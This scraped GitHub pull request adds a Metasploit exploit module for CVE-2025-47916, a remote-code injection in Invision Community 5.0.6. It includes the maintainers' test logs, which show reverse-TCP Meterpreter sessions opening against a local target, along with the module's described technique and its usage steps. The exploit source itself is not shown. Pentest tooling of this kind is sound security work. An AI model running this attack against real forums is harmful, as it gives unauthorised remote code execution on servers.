Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916)#20214
Merged
jheysel-r7 merged 5 commits intorapid7:masterfrom May 21, 2025
Merged
Add Invision Community 5.0.6 customCss RCE (CVE-2025-47916)#20214jheysel-r7 merged 5 commits intorapid7:masterfrom
jheysel-r7 merged 5 commits intorapid7:masterfrom
Conversation
jvoisin
approved these changes
May 20, 2025
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
e9493c9 to
14501a6
Compare
jheysel-r7
reviewed
May 21, 2025
Contributor
jheysel-r7
left a comment
There was a problem hiding this comment.
Thanks for the module @Chocapikk. Looks great, testing was as expected.
Testing
php/meterpreter/reverse_tcp
msf6 exploit(multi/http/invision_customcss_rce) > run rhost=127.0.0.1 rport=7777 lhost=172.16.199.1
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected IPS version: 5.0.6
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
[*] Sending exploit to 127.0.0.1:7777 ...
[*] Sending stage (40004 bytes) to 172.16.199.1
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:58613) at 2025-05-20 19:01:56 -0700
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : d4a8dc0393fe
OS : Linux d4a8dc0393fe 6.10.14-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Apr 15 16:05:22 UTC 2025 x86_64
Meterpreter : php/linux
cmd/linux/http/x64/meterpreter_reverse_tcp
msf6 exploit(multi/http/invision_customcss_rce) > run rhost=127.0.0.1 rport=7777 lhost=172.16.199.1
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected IPS version: 5.0.6
[+] The target is vulnerable. IPS version 5.0.6 is vulnerable (≤ 5.0.6)
[*] Sending exploit to 127.0.0.1:7777 ...
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:58637) at 2025-05-20 19:04:08 -0700
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.25.0.3
OS : Debian 12.10 (Linux 6.10.14-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
documentation/modules/exploit/multi/http/invision_customcss_rce.md
Outdated
Show resolved
Hide resolved
jheysel-r7
reviewed
May 21, 2025
jheysel-r7
approved these changes
May 21, 2025
Contributor
Release NotesThis adds a new exploit module for Invision Community versions up to and including 5.0.6, which is vulnerable to a remote-code injection in the theme editor’s customCss endpoint CVE-2025-47916. The module leverages the malformed {expression="…"} construct to evaluate arbitrary PHP expressions and supports both in-memory PHP payloads and direct system command execution. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Hello Metasploit team,
This pull request adds a new exploit module for Invision Community versions up to and including 5.0.6, which is vulnerable to a remote-code injection in the theme editor’s
customCssendpoint (CVE-2025-47916). The module leverages the malformed{expression="…"}construct to evaluate arbitrary PHP expressions and supports both in-memory PHP payloads and direct system command execution.Implements
exploit/multi/http/invision_customcss_rce.rbcheckmethod that fetches/admin/install/eula.txtand parses the IPS versionphped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)Verification
msfconsoleuse exploit/multi/http/invision_customcss_rcecheckdocumentation/modules/exploits/multi/http/invision_customcss_rce.mdNote: For testing purposes I have temporarily copy-and-pasted the
php_exec_cmdhelper into this module; it will be removed once PR #20160 is merged.cc: @jvoisin